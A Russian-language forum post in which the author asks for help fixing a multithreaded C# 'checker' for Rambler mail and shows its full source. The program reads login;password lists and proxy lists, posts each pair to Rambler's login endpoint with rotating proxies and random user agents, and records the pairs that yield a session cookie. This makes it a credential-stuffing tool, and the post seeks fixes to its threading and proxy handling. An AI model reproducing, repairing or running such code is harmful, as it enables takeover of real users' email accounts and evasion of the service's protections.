Решил написать простенький чекер для rambler. Столкнулся с пробелмой, когда я пытаюсь послать POST запрос через прокси, начинает работать и виснет. Как можно сделать адекватную обработку исключений и синхронизацию потоков?
Через прокси даже если логин и пароль верны, то всеравно он их пропускает...
Если не использовать прокси, то он верно ищет только при задержке <2000, если же уменьшить задержку то опять-таки пропускать начнет
Ниже приведен код и архив с программой:
C# |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
| using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.IO;
using System.Collections;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using xNet.Net;
using System.Threading;
using xNet;
using xNet.IO;
using xNet.Security;
using xNet.Text;
using xNet.Threading;
using xNet.Collections;
namespace WindowsFormsApplication1
{
delegate void Del();
public partial class Form1 : Form
{
public List<Thread> threadList = new List<Thread>();
public List<string> proxyList = new List<string>();
public List<String> data = new List<string>();
public int index = 0;
public int indexProxy = 0;
public int checkd = 0;
Del delegat;
Del delegat2;
public Form1()
{
delegat2 += new Del(Refresh);
delegat += new Del(Inc);
for (int i = 0; i < 5;i++ )
{
threadList.Add(new Thread(CheckAllList));
}
InitializeComponent();
}
public void RefrashMessage()
{
Invoke(delegat2);
}
public void Refresh()
{
tb.Text += data[index].ToString() + Environment.NewLine;
}
public void Inc()
{
checkd++;
lb.Text = checkd.ToString();
}
public void IncChecked()
{
Invoke(delegat);
}
private void button1_Click(object sender, EventArgs e)
{
var file = new OpenFileDialog();
file.Filter = "*.txt | *.txt";
file.ShowDialog();
if (file.FileName!=null)
{
data.AddRange(File.ReadAllLines(file.FileName));
}
}
public bool Check(string name, string pass,string proxy)
{
try {
using (var request = new HttpRequest())
{
request.Proxy = HttpProxyClient.Parse(proxy);
request.UserAgent = HttpHelper.RandomUserAgent();
request.AllowAutoRedirect = false;
var responce = request.Post("https://id.rambler.ru/login", "back=https%3A%2F%2Fmail.rambler.ru%2F&rname=mail&profile.login=" + name + "&profile.domain=rambler.ru&profile.password=" + pass + "&profile.long_session=on");
if (responce.Cookies.ContainsKey("_tsid"))
return true;
else
return false;
}
}
catch (ProxyException ex)
{
MessageBox.Show("Произошла ошибка при работе с HTTP-сервером: {0}", ex.Message);
return true;
}
}
private void btnStart_Click(object sender, EventArgs e)
{
for (int i = 0; i < 5;i++ )
{
threadList[i].Start();
}
}
public void CheckAllList()
{
while(index<data.Count-1)
{
if (index > data.Count - 1) break;
if (Check(data[index].Substring(0, data[index].IndexOf(";")), data[index].Substring(data[index].IndexOf(";") + 1, data[index].Length - data[index].IndexOf(";") - 1),proxyList[indexProxy++]))
{
RefrashMessage();
}
IncChecked();
lock (this)
{
index++;
if (indexProxy >= proxyList.Count - 1)
indexProxy = 0;
else indexProxy++;
}
Thread.Sleep(1000);
}
}
private void btnProxy_Click(object sender, EventArgs e)
{
var file = new OpenFileDialog();
file.Filter = "*.txt | *.txt";
file.ShowDialog();
if (file.FileName != null)
{
proxyList.AddRange(File.ReadAllLines(file.FileName));
}
}
}
} |
|
WindowsFormsApplication1.rar